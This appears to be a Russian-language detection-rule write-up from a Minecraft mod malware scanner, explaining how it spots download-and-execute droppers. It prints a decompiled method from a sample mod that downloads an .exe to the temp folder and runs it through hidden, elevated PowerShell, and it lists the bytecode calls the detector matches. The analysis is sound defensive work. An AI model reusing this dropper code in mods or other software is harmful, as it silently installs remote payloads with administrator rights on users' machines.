Remote Executable Dropper
Влияние на механику Minecraft
Стандартные загрузчики подключают модификации, добавляя JAR-архивы в classpath. Код мода функционирует в рамках виртуальной машины JVM, взаимодействуя с клиентом через события, миксины и интерфейсы движка.
Dropper_Download_Exec выявляет цепочки инструкций, когда один и тот же метод скачивает внешний бинарный файл по сети, сохраняет его на локальный диск и сразу же запускает. В исследованном образце из com.magma4496.Creatormagma модификация выполняет метод fetchAndExec() в фоновом потоке. Метод отправляет сетевой запрос с помощью HttpClient.send(), записывая тело ответа напрямую в файл во временной директории через BodyHandlers.ofFile(dest). При получении HTTP-кода 200 метод вызывает dest.toFile().setExecutable(true) и запускает полученный файл через powershell с аргументами -NoProfile, -WindowStyle Hidden и командой Start-Process ... -Verb RunAs, запрашивая повышение привилегий в системе (UAC).
Примечательно, что проверка операционной системы в теле метода отсутствует. Из-за безусловного вызова powershell и файла .exe без проверки системного свойства os.name запуск срабатывает исключительно в среде Windows. На системах под управлением Linux или macOS, где интерпретатор PowerShell отсутствует или не может запустить исполняемый файл формата PE/Windows, запуск завершается ошибкой, которая подавляется пустым блоком catch.
Анализируемые функции и API
HttpClient.send / URL.openStream
Получение бинарного файла полезной нагрузки через сетевой HTTP/HTTPS поток.
HttpResponse$BodyHandlers.ofFile / Files.write
Сохранение входящих байтов ответа напрямую в файл локальной файловой системы.
ProcessBuilder.start / Runtime.exec
Запуск сохраненного файла в виде независимого процесса операционной системы.
Декомпилированный вид (Vineflower)
private void fetchAndExec() {
try {
Path dest = Path.of(System.getProperty("java.io.tmpdir"), "<redacted_payload>.exe");
HttpClient http = HttpClient.newBuilder().followRedirects(Redirect.ALWAYS).build();
HttpRequest req = HttpRequest.newBuilder()
.uri(URI.create("<redacted_url>"))
.GET()
.build();
HttpResponse<Path> resp = http.send(req, BodyHandlers.ofFile(dest));
if (resp.statusCode() == 200) {
dest.toFile().setExecutable(true);
new ProcessBuilder(
"powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", "Start-Process -FilePath '" + dest.toAbsolutePath() + "' -Verb RunAs"
)
.start();
}
} catch (Exception var5) {
}
}
Сигнатура байткода и статический детект
Детектор анализирует байткод методов внутри класса и требует одновременного присутствия всех трех групп вызовов в теле одного и того же метода:
- Метод сетевого скачивания:
java/net/URL.openStream,java/net/URI.toURL,java/net/URLConnection.openConnection,java/net/URLConnection.getInputStream,java/net/http/HttpClient.sendилиjava/net/http/HttpClient.sendAsync. - Метод сохранения файла или определения класса:
java/nio/file/Files.write,java/nio/file/Files.copy,java/io/FileOutputStream.<init>,java/lang/ClassLoader.defineClass,java/util/Base64.decode,java/net/http/HttpResponse$BodyHandlers.ofFileилиjava/net/http/HttpResponse$BodyHandlers.ofByteArray. - Метод порождения системного процесса:
java/lang/ProcessBuilder.<init>,java/lang/Runtime.execилиjava/lang/ProcessBuilder.start.
Правило подтверждает наличие всех трех операций внутри одного метода. Главное ограничение обусловлено границами метода: если скачивание, запись файла и запуск распределены по разным методам или классам через цепочки коллбэков, правило не зафиксирует связь без межпроцедурного анализа потока данных.